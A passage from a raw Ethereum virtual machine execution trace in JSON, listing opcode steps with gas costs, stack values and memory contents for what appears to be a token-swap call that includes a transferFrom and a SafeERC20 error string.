1efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15455,"op":"PUSH1","gas":95867,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15457,"op":"JUMPDEST","gas":95864,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15458,"op":"DUP4","gas":95863,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15459,"op":"DUP2","gas":95860,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15460,"op":"LT","gas":95857,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x64","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15461,"op":"ISZERO","gas":95854,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15462,"op":"PUSH2","gas":95851,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15465,"op":"JUMPI","gas":95848,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x0","0x3c79"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15466,"op":"DUP2","gas":95838,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15467,"op":"DUP2","gas":95835,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15468,"op":"ADD","gas":95832,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15469,"op":"MLOAD","gas":95829,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde